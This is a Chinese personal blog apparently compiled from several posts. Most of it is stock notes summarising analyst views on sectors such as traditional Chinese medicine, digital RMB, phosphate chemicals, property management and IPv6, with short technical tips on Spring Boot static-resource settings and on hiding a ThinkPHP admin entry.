③中医服务提供商:新中医诊疗龙头,OMO模式全国布局持续推进的 浙江震元。
近期中药行情波动的底层逻辑
(1)中药创新研发迅速崛起,注册审批加快:2017年-2021年,国家药监局共计20个新药获批上市,其中2021年共计12个新药获批上市,是近5年来获批中药新药最多的一年;
(2)政策利好:国家中医药管理局和国家医保局联合发布了《关于医保支持中医药传承创新发展的指导意见》,首次从支付端出台了中药扶持政策,对整个中药行业带来比较显著的影响;
(3)集采政策的温和预期和医保免疫的大健康消费属性:根据湖北省联盟集采结果看中成药降价幅度低于化学药,政策预期温和可控。

中药绝大部分为OTC药物,具有消费品和保健品属性,属于医保免疫区。行业中期受益于政策带来的格局优化
(1)中药医保支付新政策重大利好。纳入医保支付的同时暂不纳入DRG付费,药厂在医保支付范围内获得了更灵活的定价空间。
(2)2022年是中成药集采元年,湖北省联合19省联盟组织的中成药集采显示,本次集采有157家企业的182个产品参与报价,其中97家企业、111个产品中选,中选率达62%,拟中选价格平均降幅42.27%。相较前几轮的化药集采、医保谈判,湖北中成药集采降价幅度较为温和。
(3)中药配方颗粒市场空间打开和竞争格局优化有利于龙头企业。目前我国中药饮片市场规模在2000亿左右,中药配方颗粒占饮片市场份额约20%,预计中药配方颗粒市场规模可达500亿元,远期市场规模可达1000亿元。陈竹认为,未来中药发展必然是以品牌+大健康为主的发展战略,一部分有保密配方高护城河的中药瑰宝类药物,高端的定价和部分特殊的中药材种类,使得部分产品具有奢侈品属性,成为保值、增值的奢侈品,重点企业包括片仔癀、同仁堂。

数字人民币

占“半壁江山”!建行数字人民币累计交易额达435亿元,这家公司与其共同研发数字人民币智慧设备
2022-03-31 14:02 星期四

建行年报数据显示,截至2021年末,建行数字人民币累计交易笔数8475万余笔,累计交易金额435亿元。这一数字约占全国数字人民币总交易额近五成。

央行数据显示,截至2021年12月31日,全国数字人民币试点场景已超过808.51万个,累计开立个人钱包2.61亿个,交易金额875.65亿元。 行业动态

数字人民币先后经历两轮试点,当前发展进入快车道从试点城市来看,2019年末央行在深圳、苏州、雄安、成都及2022北京冬奥会场景开展数字人民币第一批试点测试。2020年11月开始,增加上海、海南、长沙、西安、青岛、大连6个新的试点地区。第三批试点区域即将落地。

目前,两轮共10个试点城市和1个试点场景已经运行接近2年,应用场景也已经涵盖了生活缴费、餐饮服务、交通出行、购物消费、政务服务等领域。

券商观点

安信证券夏瀛韬研报认为,考虑到第19届亚运会将于2022年9月在浙江杭州举办(宁波、温州、金华、绍兴、湖州协办),杭州亚运会有望成为继北京冬奥会后,数字人民币又一对外展示的重要窗口。

华安证券尹沿技认为,数字人民币的推广将为相关生态产业带来长期、可持续的投资机遇。看好商业银行侧投资机遇,银行软件系统需要对接央行发行库,柜台机、ATM机等金融机具需要开通相关功能以支持数字人民币的兑换、流通和回笼。

产业链相关公司

广电运通 携手建行打造的数字人民币智慧柜员机正式试点上线,数字人民币智慧柜员机广泛应用于2022年北京冬奥会机场、海关等多个场景,为科技冬奥打造便捷支付环境。

创识科技 关于数字人民币方面,公司目前已经与农行、建行、中行、邮储银行和交通银行等展开合作。

三农-化肥

解决好“三农”问题重中之重,该行业有望先乘农化大周期之势延续高景气,再切入新能源提升业绩弹性
2022-04-01 13:32
农化大周期下,全球粮价高企且化肥库存低位,行业高景气有望至少持续1-2年,目前磷化工的头部企业基本已完成上游资源的整合,切入新能源进一步提升业绩弹性,分析师看好行业利润更加偏向上游的同时,竞争格局也将得到持续优化。
磷化工(川金诺、湖北宜化、云天化)精要:

①当前粮价高企+磷肥库存低位,西部证券杨晖看好农化大周期下化肥高景气有望至少持续1-2年,并且行业景气或随出口限制放松得到延续;

②中长期看,磷酸铁锂的需求爆发直接带动“磷矿石-黄磷-磷酸-磷酸铁”景气度,2022年磷酸铁供应缺口犹存,磷化工资源属性凸显;

③杨晖认为目前磷化工的头部企业基本已完成上游资源的整合,切入新能源进一步提升业绩弹性,行业利润更加偏向上游的同时,行业竞争格局也将得到持续优化;

④风险因素:安全事故影响开工、环保政策变化、技术路线快速迭代更新等。

解决好“三农”问题重中之重,该行业有望先乘农化大周期之势延续高景气,再切入新能源提升业绩弹性

事件:《求是》杂志发表中共中央总书记、国家主席、中央军委主席习近平的重要文章《坚持把解决好“三农”问题作为全党工作重中之重,举全党全社会之力推动乡村振兴》。

农化大周期之下,本栏目于3月28日《强资源属性+海外套利窗口打开+全球刚需,通胀主线不能忽视这个品种,A股这些公司具备核心保供能力》一文中引用分析师观点,认为当前全球通胀要买上游资源,衰退要买必选消费,化肥兼具两者逻辑,攻守兼备。

今日,西部证券杨晖专题覆盖磷化工行业,认为当前粮价高企+磷肥库存低位,看好农化大周期下化肥高景气有望至少持续1-2年,并且行业景气或随出口限制放松得到延续。

中长期看,磷酸铁锂的需求爆发直接带动“磷矿石-黄磷-磷酸-磷酸铁”景气度,2022年磷酸铁供应缺口犹存,磷化工资源属性凸显。

杨晖认为目前磷化工的头部企业基本已完成上游资源的整合,切入新能源进一步提升业绩弹性,重点公司包括:云天化、湖北宜化、兴发集团、新洋丰、云图控股、川发龙蟒、川恒股份、中毅达、川金诺、金诚信等。

粮价高企+库存低位,农化大周期下化肥高景气有望持续

当前粮价维持高位将驱动化肥行业需求提升,据Mosaic预测2022年我国磷肥需求增长幅度将在3.5%至6.4%之间。

受粮价高位、原材料价格支撑和下游需求拉动,当前化肥价格坚挺,且有望在春耕旺季来临之际迎来价格再度上行。

短期来看,全球及国内磷肥库存处于低位,此波农化大周期下化肥的高景气有望至少持续1-2年。

中长期来看,此前的出口禁令带来的国际磷肥价格与国内价格形成3500元/吨以上的较大价差,市场预期国家可能在春耕之后放开化肥的出口限制。

磷化工企业切入新能源提升业绩弹性,磷酸铁2022年供应缺口犹存

当前国内磷酸铁总产能为64.5万吨,磷酸铁锂总产能为77.6万吨,磷酸铁处于供不应求状态。

从扩产计划看,磷化工企业为未来磷酸铁扩产的主力,占到总扩产计划的55%,且从扩产节奏看,预计2022年全年磷酸铁仍将处于供需错配的状态。

从实际进度看,磷酸铁的扩产将受到环评、能评、工艺等各项限制,同时下游产品验证周期可能导致产能释放低于预期,杨晖看好供需错配格局下磷酸铁景气的延续。

中长期磷化工资源属性凸显,供给侧改革持续优化行业竞争格局

当前国内磷矿石资源面临短缺压力,同时随着碳中和、能耗双控、产能指标等各种供给端控制措施的联合限制,一些资源禀赋布局领先的企业将展现出更强的竞争力。

杨晖认为行业利润更加偏向上游的同时,行业竞争格局也将得到持续优化。

目前磷化工的头部企业基本已完成上游资源的整合,产业链一体化完善,具备充足的资源、成本、能耗指标等优势。

个股

翠微股份(消费,购物,数字货币,芯片)

子公司海科融通从事第三方支付业务,拥有全国范围的从业资质。已经与多家银行在数字人民币线下收单领域达成合作。具备数字人民币跨行收单能力。目前旗下所有商场均可使用 数字人民币 购物。公司参股了北京核芯达科技有限公司,专注于面向L4级自动驾驶处理器和车载智能语音芯片的研发。为国内车企关键芯片领域提供一流解决方案。首款智能语音芯片已经与 2021 年上半年流片并与全球第二大天窗厂商 英纳法在车顶多音区领域 展开独家合作。

莱茵生物(工业大麻)

4月1日,美国众议院以220票对204票第二次通过联邦医用大麻合法化法案(MORE Act);同时参议院联邦合法化法案《大麻管理与机会法案》(CAOA)预计将于4月提交,联邦层面医用大麻合法化加速推进。随着美国工业大麻法规政策持续向好,市场有望快速扩容,利好产业链相关布局企业,尤其是具备规模化生产能力的代工厂以及品牌企业或将迎来快速发展机遇。莱茵生物于2019年正式布局工业大麻,截至2021Q3已累计投资8000万美元在美建立全球最大工业大麻提取工厂,被印第安纳州政府列为示范项目,预计该项目将于2022年6月30日前达成正式量产,年处理原料5000吨,项目毛利率可达50%,同时已与一家全球工业大麻主流企业签订《受托加工意向协议》,后续预计还有更多订单意向。从技术角度来看,莱茵生物目前走得偏趋势而非连板,以5日线为趋势,每一次回落都得到了支撑,那么周五莱茵生物的断板可能会带来低吸机会。

盛航股份(航运)

目前次新股出现了一个空窗期,上交所在4月20日之前没有新股上市,另外每当巨无霸上市,次新都有提前造势的案例,比如三峡能源对应顺控发展,中国电信对应华菱线缆,中国移动对应三羊马,那么中海油上市前次新大概率也会有妖股的出现。目前连板的盛航股份就是妖股的潜在备选标的之一,从基本面来说,目前公司在行业紧平衡的情况下,上市后通过购买船舶提升市场份额,22年30艘,25年50艘,意味着公司市场份额有望得到快速提升,中期市场份额可接近20%。再加上疫情影响,运力紧张,而各大型炼化项目在“十四五”期间将会迎来密集投产期,极大推动相关石化产品的水上运输需求,公司市场份额的提升有望进一步加快。再从投机的角度思考,该股本身还叠加高送转,填权之后股价也比较低。

招商积余 (地产,物业)

背靠央企的地产服务龙头,控股股东土储充足支撑中期扩张,有望受益此轮行业格局重构
2022-03-31 13:39
公司是招商局集团旗下的央企物管旗舰,控股股东招商蛇口实力雄厚,多维度支持业务发展,去年年度新签合同额30.5亿元,新增管理面积9013万平米,分析师看好公司大物业+大资管双轮驱动,有望受益行业格局重构。
招商积余(001914)精要:

①公司为招商局集团旗下物业资产管理与服务平台,2021年末管理面积2.8亿平米,年度新签合同额30.5亿元,同比增长24%,新增管理面积9013万平米,处央企物管领先水平;

②地方国资和央企优势在于融资能力和成本拥有银行支持,平安证券杨侃看好公司控股股东招商蛇口实力雄厚,多维度支持业务发展,实控人招商局集团生态资源丰富,利于在增值服务等业务层面形成协同;

③公司2021年底摘牌上航物业100%股权、南航物业95%股权,增资扩股汇勤物业,2022年初确定转让深圳中航城、昆山中航、赣州九方三家公司股权,轻重分离积极推进,提质增效成果可期;

④杨侃看好公司作为央企物管领先者,有望受益行业格局重构,预计2022-24年EPS分别为0.62元/0.79元/1元,对应PE分别为27.7/21.8/17.3倍;

⑤风险因素:控股股东交付节奏不及预期风险、外拓进程不及预期风险。

近期多地出台楼市新政稳定市场预期,当下市场,相对二线企业,地方国资和央企优势在于融资能力和成本拥有银行支持,地方政府保交付任务也会助力国资企业带来更大优势。

今日,平安证券杨侃深度覆盖招商积余,公司为招商局集团旗下物业资产管理与服务平台,2019年重组上市,属A股物管稀缺标的。

公司控股股东招商蛇口实力雄厚,资源禀赋优势突出,利于在增值服务等业务层面形成协同,全业态市场化能力显著。

公司2022年初确定转让深圳中航城、昆山中航、赣州九方三家公司股权,轻重分离积极推进,提质增效成果可期。

杨侃看好公司作为央企物管领先者,有望受益行业格局重构,预计2022-24年EPS分别为0.62元/0.79元/1元,对应PE分别为27.7/21.8/17.3倍。

招商积余是央企物管领先者,大物业+大资管双轮驱动

招商积余为招商局集团旗下物业资产管理与服务平台,目前发展物业管理、资产管理两项核心业务。

公司2021年末管理面积2.8亿平米,年度新签合同额30.5亿元,同比增长24%,新增管理面积9013万平米,处央企物管领先水平。

物业管理以“沃土云林”商业模式为依托,持续向好发展,2021年收入贡献93.6%,毛利润贡献77.7%。

商业运营2021年末在管商业项目(含筹备)44个,初具规模,2021年收入贡献5.3%,毛利润贡献21.4%。

招商积余控股股东资源禀赋优势突出,全业态市场化能力显著

杨侃看好公司控股股东招商蛇口实力雄厚,多维度支持业务发展,包括积极销售保障短期交付,土储充足支撑中期扩张,持有物业“双百”战略推动资管业务持续突破。

长远来看,招商蛇口有望受益房地产格局优化,为公司规模发展带来更大想象空间。实控人招商局集团生态资源丰富,利于在增值服务等业务层面形成协同。

此外,公司具备较强市场化发展能力、全业态综合服务能力,行业竞争加剧下有助于强化综合实力、保障份额获取。

2021年第三方管理面积占比67.7%,住宅、非住宅管理面积占比41%、59%;第三方管理面积1.9亿平米,处行业领先水平。

招商积余轻重分离积极推进,提质增效成果可期

公司2021年底摘牌上航物业100%股权、南航物业95%股权,增资扩股汇勤物业,实现重组上市以来收并购首次突破。

公司2022年初确定转让深圳中航城、昆山中航、赣州九方三家公司股权,轻重资产分离迈出实质性步伐。

目前,公司已落地100余项改善举措,杨侃看好伴随业务及管理能力提升,预计公司盈利能力、业务获取能力亦有望随之提振[图片]

springboot加载静态资源的坑

预备知识

我们知道springboot中,已经预定义了一些配置,这些配置,指定了静态资源的位置和url访问方式。即使不作任何设置,放在resources下面的public static 等文件夹的静态资源也可以被访问到。也可以在application.yml/application.properties文件内更改配置。具体有两个配置项目。

  • spring.mvc.static-path-pattern:根据官网的描述和实际效果,可以理解为静态文件URL匹配头,也就是静态文件的URL地址开头。Springboot默认为:/**。
  • spring.web.resources.static-locations:根据官网的描述和实际效果,可以理解为实际静态文件地址,也就是静态文件URL后,匹配的实际静态文件。Springboot默认为:classpath:/META-INF/resources/,classpath:/resources/,classpath:/static/,classpath:/public/

我做的时候,给用成了spring.resources.static-locations,结果始终不生效!!!原来这个是老版本的配置。记录一下,高版本springboot用这个配置 spring.web.resources.static-locations

thikphp-5.x-隐藏管理入口

面临黑客的突然袭击

在后台看日志,发现有人不停的扫描服务器可用的url,如果一旦被发现admin这个后台管理入口,就后果很严重了。

应对策略

隐藏后台服务器管理的 url 入口。

设置隐藏后台管理地址

  • 打开conig/app.php,app.php中设置拒绝直接通过模块名访问模块

    1
    2
    'deny_module_list'       => ['common', 'admin']

  • 新增后台入口文件,绑定模块

    1
    Container::get('app')->bind('admin')->run()->send();
  • public目录下新建一个入口文件

    入口文件内容和index.php内容一致即可。文件名字随便起,越奇怪越好。例如*** 0o98dfsd-fffP.php ***

OVER

股票-20220324

题材

IPV6

2022年1月,国务院印发《“十四五”数字经济发展规划》,规划中提出到2025年数字经济核心产业增加值占GDP比重达到10%,IPv6活跃用户数达到8亿。

2021年11月,中央网信办等部门联合印发《关于开展IPv6技术创新和融合应用试点工作的通知》,明确到2023年底,IPv6技术创新和融合应用试点工作取得明显成效。

2021年7月,发改委等部门印发《关于加快推进互联网协议第六版(IPv6)规模部署和应用工作的通知》,要求到2023年末,基本建成先进自主的IPv6技术、产业、设施、应用和安全体系。

券商观点

川财证券孙灿分析指出,IPv6市场具有良好的发展前景,其较于IPv4有着更多的优势,IPv6产业链市场规模快速扩大。从网络端到端IPv6渗透率看,运营商网络中无论是接入网、城域网和骨干网等领域,IPv6已经获得全面支持,我们认为后续运营商在IPv6改造方面投入景气度仍能维持,而第三方IDC、CDN及云计算基础设施IPv6改造仍有较大提升空间,看好商业企业路由器、交换机、负载均衡、防火墙等IT设备的持续更新换代需求。

数据解读

截至2021年底,我国移动网络IPv6流量占比从2020年底的17.21%提升至35.15%,固定网络IPv6流量占比从2020年底的4.3%提升至9.38%,均实现同比翻番增长。

产业链相关公司

星网锐捷是国内主流网络及通信终端产品提供商,十万兆IPv6核心路由交换机、USB映射技术、终端管理软件、外设共享服务器等核心技术已与国际同步甚至位居国际前列。

创维数字承担的国家发改委科技项目“基于IPv6的全媒体智能终端及服务系统产业化项目”获得了广东省科技进步二等奖。公司已在智能机顶盒、宽带网络通信接入网等产品上实现及运用IPv6技术。

个股

氢能源+储气制气+风光储能,新天绿能

“氢能源+储气制气+风光储能”,这家公司拟建成12座20万方LNG储罐辐射整个“京津冀”,加码新能源制氢为燃料电池车提供动能。
新天绿能(600956):
①天风证券郭丽丽看好公司受益“天然气+风电”双轮驱动,公司累计拥有用户441284户,运营CNG母站7座、CNG子站6座、LNG加注站3座、L-CNG合建站2座,并新建唐山LNG项目,拟建成12座20万方LNG储罐,供应及调峰能力可辐射整个京津冀地区;
②公司全部控股风电项目覆盖省份达12个,装机容量达5656.45MW,2021年上半年公司风电可利用小时数为1433小时,高于全国平均可利用小时数221小时,同时积极储备光伏项目资源;
③公司加码氢能及储能赛道,未来天然气+风电(光伏)两大主营业务有望通过氢能产业链连接,其沽源风电制氢示范项目为当地冬奥会氢燃料电池汽车提供氢能源,并参与建设河北丰宁抽水蓄能电站项目;
④郭丽丽预计公司2021-2023年实现归母净利润21.8/22.6/29.4亿元,同比增长44.36%/3.45%/30.30%,对应PE为26/25/19倍;⑤风险提示:项目建设不及预期、能源政策变动等。

“氢能源+储气制气+风光储能”,这家公司拟建成12座20万方LNG储罐辐射整个“京津冀”,加码新能源制氢为燃料电池车提供动能

事件:《氢能产业发展中长期规划(2021-2035)》出炉,规划一方面明确氢能在能源转型中的重要作用,打开氢气下游应用空间,推动全产业链发展,另一方面,着重突出可再生能源制氢的重要地位,配合当前积极推动新能源装机的整体规划。天风证券郭丽丽挖出一家“天然气+风电”双轮驱动的清洁能源公司新天绿能,公司累计拥有用户441284户,运营CNG母站7座、CNG子站6座、LNG加注站3座、L-CNG合建站2座。在风电光伏领域,公司风电控股装机容量达5656.45MW,累计运营光伏项目规模达118.59MW,项目覆盖全国多个省份。同时,依托于全国多省份项目布局及项目所在地的优质风能资源,公司风电可利用小时数高于平均水平,发电水平维持高位。另外,公司加码氢能及储能赛道,未来天然气+风电(光伏)两大主营业务有望通过氢能产业链连接,叠加公司参股投资建设河北丰宁抽水蓄能电站项目,考虑到当前调峰、填谷等需求及储能领域发展态势,公司成长性有望进一步强化。郭丽丽预计公司2021-2023年实现归母净利润21.8/22.6/29.4亿元,同比增长44.36%/3.45%/30.30%,对应PE为26/25/19倍。天然气:管网工程助力市场拓展,唐山LNG项目战略性凸显公司积极响应国家天然气政策规划,持续推进基建工程建设,从而增强天然气供应保障能力,实现河北省内外互联互通。截至2021年6月30日,公司累计运营管线7087.99公里,同比增长34%,同时多个管道工程项目处于建设过程中,未来公司管网覆盖范围有望进一步扩大,“省内一张网”布局逐步成型。天然气发展对储气、调峰及应急等能力提出了更高的要求,而当前京津冀地区接收及储气能力偏弱,难以满足其天然气调峰需求,需要增加新的保供通路和资源。公司新建唐山LNG项目,拟建成12座20万方LNG储罐、1座8-26.6万方LNG船舶接卸泊位、1座1-26.6万方LNG船舶接卸泊位及相关配套设施,设计接卸能力达1000万吨/年,其规模可观。另一方面,该项目位于中心地带,并配备外输管线,供应及调峰能力可辐射整个京津冀地区。可再生能源:风电领跑,多类型新能源项目布局

(1)风电公司全部控股风电项目覆盖省份达12个,全部核准计划项目覆盖省份达16个,全部协议容量分布省份达23个。2021年上半年公司控股风电场可利用小时数为1433小时,高于河北省平均利用小时数196小时,高于全国平均可利用小时数221小时,公司风力发电水平维持高位。
(2)光伏同时公司仍在积极储备光伏项目资源,2021年上半年公司新增光伏协议容量2600MW,累计光伏协议容量达9949MW,未来光伏发电业务规模有望持续增长。公司依托于新能源发电业务基础,积极布局新能源制氢项目。其沽源风电制氢示范项目为当地冬奥会氢燃料电池汽车提供氢能源。同时,公司与国家电网等共同投资建设河北丰宁抽水蓄能电站项目。

中国建筑(601668)

①国务院金融稳定发展委员会召开专题会议后,房地产政策预期逐步转暖,行业估值有提升空间;
②作为行业内全球最高信用评级的央企,公司房建业务毛利润占比41.8%,旗下拥有中海地产和中建地产两大房地产品牌,其中中海地产品牌价值始终处于中国房地产行业领先地位,属于“绿档”企业,负债水平保持在行业最低区间;
③当前公司地产销售规模略低于万科和保利发展,大于招商蛇口和金地集团,但估值层面2022年中国建筑预估PE为3.75倍,远低于万保招金地产的6.55倍;
④国泰君安韩其成预计公司2021-23年EPS为1.23/1.35/1.48元增15/10/10%,给予7.33元目标价;
⑤风险提示:经济过热通胀超预期政策紧缩,疫情反复等。

  • Copyrights © 2020-2022 zzj
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信